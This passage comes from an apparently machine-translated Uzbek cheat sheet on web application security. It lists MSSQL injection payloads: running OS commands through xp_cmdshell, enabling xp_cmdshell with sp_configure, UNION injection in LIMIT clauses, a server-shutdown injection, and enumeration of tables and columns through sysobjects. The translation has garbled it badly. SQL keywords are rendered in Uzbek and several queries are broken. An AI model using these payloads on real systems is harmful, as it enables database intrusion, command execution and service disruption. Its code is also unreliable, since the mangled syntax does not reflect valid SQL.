«veb dasturlar xavfsizligi»

22. MSSQL ommaviy eslatmalari
Misollar:
TANLANG * ustadan..sessproses / * Qaerda spid \u003d @@ SPID * /
DECLARE @ natija int; EXEC @result \u003d xp_cmdshell "dir * .exe"; IF (@result \u003d 0) TANLASH 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC ustasi..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
23. LIMIT (M) so'rovlarda SQL in'ektsiyasi
Misol:
SELECT ID, mahsulot FROM test.test LIMIT 0,0 BIRLAShMALAR BARChA TANLANGAN 1, "x" / *, 10;
LIMIT ko'rsatmani chetlab o'tish uchun UNION yoki sharhdan foydalanishingiz mumkin.
24. SQL Server (S) ni o'chirish
Misol:
"; o'chirish -
25. SQL Server 2005 da xp_cmdshell-ni yoqish
Sintaksis:
Odatiy bo'lib, xp_cmdshell va boshqa ikkita xavfli funktsiyalar SQL Server 2005-da o'chirilgan. Administrator huquqlari bilan siz ularni yoqishingiz mumkin.
EXEC sp_configure "kengaytirilgan variantlarni ko'rsatish", 1
TANLASH
EXEC sp_configure "xp_cmdshell", 1
TANLASH
26. SQL Server (S) da ma'lumotlar bazasi tuzilishini izlash
Misollar:
FROM sysobektlarni tanlang Qaerda xtype \u003d "U"
SELEGNUMNING SELECT nomi WHERE id \u003d (SELECT ID FROM sysobjects WHERE name \u003d "tablenameforcolumnnames")
Ustun nomlarini olish
27. Ko'chirish yozuvlari (S)
Misollar:
... foydalanuvchilar qayerga kirmasin ("Birinchi foydalanuvchi", "Ikkinchi foydalanuvchi")
NO YO'Q yoki mavjud emas
TANLANMAGAN TOP a'zolarning TOP 1 ismini tanlang (a'zolarni TOP tanlab oling
ID \u003d 2 VA 1 \u003d CAST QAYERIDA MAHSULOTNI TANLASH ((Tanlang. Tanlang. Tanlangan raqam (i.id), sysobjectlardan qutulgan i qaerda i.id.)<=o.id)
AS x, sysobektlardan ismi o) p sifatida p, p.x \u003d 3) int
(SELECT (SELECT COUNT (i.id)) dan p.name-ni tanlang. Qaerdan sysobjects i i WHERE xtype \u003d "U" va i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21